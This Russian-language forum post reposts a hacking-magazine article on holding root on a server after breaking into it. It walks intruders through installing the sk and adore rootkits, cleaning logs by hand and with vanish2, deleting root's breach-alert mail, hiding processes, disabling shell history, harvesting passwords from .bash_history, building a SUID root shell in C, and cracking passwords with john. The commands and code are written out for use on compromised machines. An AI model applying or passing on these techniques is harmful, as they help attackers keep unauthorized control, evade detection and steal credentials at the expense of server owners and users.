Статьи Держим права roota

Discussion in 'Статьи' started by k00p3r, 8 Jun 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Автор: 'Unknown'
    Источник: http://www.xakep.ru/

    Пишу эту статью и вспоминаю мои первые взломанные сервера %) Разумеется рутом на них я был недолгое время. Причем, сам удивлялся - почему же мое пребывание на сервере раскрыли и запатчили все дыры, через которые я ломал сервер. Теперь ситуация становится яснее - логвайперами я в то время не пользовался, да и за своей безопасностью мало следил... На этом трагическом вступлении мои воспоминания заканчиваются - сегодня я поведаю тебе основные правила, подчиняясь которым ты на много процентов повысишь твою "незамеченность" на зарутанном серваке :)

    Итак, начнем. После удачного диалога с сервером у тебя получилось нечто:

    Source code / Bash

    bash$ gcc coolexploit.c -o cool
    bash$ ./cool
    Enjoy!
    uid=0(root) gid=0(root)
    bash#





    После последней строки у многих начинается паника: что делать? Как не засветиться в дальнейшем и удержать права рута? Начнем с самого важного - создадим "невидимость" на сервере.



    На любителя - установка руткитов, которые заменяют бинарники, типа /bin/ls /bin/netstat, etc... Если админ умный - то у него будет chrootkit и бекап системы. Проверяя контрольную сумму бинарников, он запросто вычислит твое пребывание... Но - это смотря какой админ ;)


    Подгрузка дополнительных модулей в ядро... Уже что-то. На этот счет, у меня два претендента на описание - sk-1.3a и adore. Обо всем по порядку:


    sk-1.3a - по сути это подмененный /sbin/init+бинарник sk. Содержит сниффер (локальный - записывает stdin,stdout,stderr суид-бинарников), скрывает твои процессы и обеспечивает безопасный вход на сервер ;). По сути, /sbin/init - обеспечивает корректную работу с inetd-сервисами. Трояненный бинарник пускает тебя в систему, когда ты с помощью loginа от sk коннектишься на тачку на любой открытый сервисный порт. Удобно и просто... Побочные эффекты: сорит в логах о невозможности подгрузить модули в ядро... Админы могут заметить. Качать с http://sd.g-art.nl/sk/


    adore - модуль ядра, который способен скрывать твои процессы и прятать файлы. Компилишь, затем insmod adore.o; insmod cleaner.o; rmmod cleaner. После этих действий система загрузит адору и уберет модуль из lsmod. Также поставляется бинарник ava - прячет процессы и файлы на сервере. Побочные эффекты: Adore отрубает syslogd при первом сокрытии твоих процессов.. Нет поддержки входа на сервер... Так, что тебе потребуется user-account, чтобы воспользоваться этим руткитом. Брать с http://teso.scene.at/releases/adore-0.42.tgz







    Итак, ты обеспечил себе вход на сервер... Далее следует чистка логов. В первое время доверять логвайперам не стоит, поэтому выполни следующее:

    Source code / Bash

    bash# tail -50 /var/log/messages;
    tail -50 /var/log/auth.log;
    tail -50 /var/log/secure





    Если, ты увидишь заметки о твоем взломе/пребывании на сервере, делай vi logfile и чисти ненужные строки. Затем проверь почту rootа - возможно там есть мыло о взломе:

    Source code / Bash

    bash# mail -f /var/spool/mail/root
    Warning... crc-attack detected & d1 & q
    bash#





    После того, когда ты уверен, что логи системы вычищены - качай http://packetstormsecurity.org/UNIX/penetration/log-wipers/vanish2.tgz, компиль и выполняй:

    Source code / txt

    ./vanish2 username 0 yourip





    Этим ты сотрешь все строки своего пребывания на сервере (username - логин под которым ты засветился, yourip - твой ip адрес). Внимание! Когда ты небезопасно (под юзерским аккаунтом заходишь на сервер) - юзай vanish при каждом входе. Наилучший вариант - закинь бинарник в /usr/bin, а затем адорой скрой его. Если ты ходишь простым аккаунтом - скрой все свои процессы, например, таким кодом:

    Source code / Bash

    perl -e @ps=system("ps -u user | awk { print($1) } \");
    foreach (@ps) { chomp; /usr/bin/ava i $_ }





    Где user - твой логин, а /usr/bin/ava - _скрытый_бинарник адоры.
    Итак, ты почистил логи и полностью уверен в своей безопасности... Дам тебе напоследок несколько советов, выполняя которые ты увеличишь срок хранения root-привелегий ;)



    Читай хистори юзеров. Часто они там оставляют рут-пароли либо пароли на mysql. В папке каждого пользователя (если он имеет shell /bin/bash) имеется скрытый файл .bash_history - найди их все: locate .bash_history и прочитай.


    Не свети свои команды, но и не уводи историю рута в /dev/null. Этого делать не надо, так как админы могут по этому симлинку заметить, что их поломали: простой вариант - export HISTFILE=/dev/null при каждом запуске shell.


    Бывает, что сервер ломают и до тебя. Чтобы "убить" прежних взломщиков и поглядеть, какие файлы они оставили на тачке - напиши следующие команды (в большинстве процентов, если сервер был взломан заранее, они увенчаются успехом):




    Source code / Bash


    find /dev -type d

    find /tmp -type d

    find / -type f -perm 4755








    Если ты найдешь директории типа /dev/...или /tmp/.. - то в них что-то есть.


    Как запасной вариант - создание суид-шелла. Через него ты можешь получить рута, но его могут засечь админы. Код такой:




    Source code / Bash


    int main()

    {

    setuid(0);

    setgid(0);

    system("bash");

    }








    Компилим, кидаем в бинарники под скромным именем... и возможно пользуемся им.


    Разгадывай пароли пользователей. Попробуй john-ом прогнать всех пользователей на сервере в том числе и рута... Пробуй в качестве словаря тот язык, в зоне которого находится тачка.. Возможно сработает.


    И наконец, не заходи на взломанную машину напрямую с твоего диалапа или прововской выделенки. Если напишут жалобу админу - то у тебя будут неприятности... Лучше зарегистри где-нибудь халявный шелл и юзай взломанный сервер через тамошний ssh-клиент.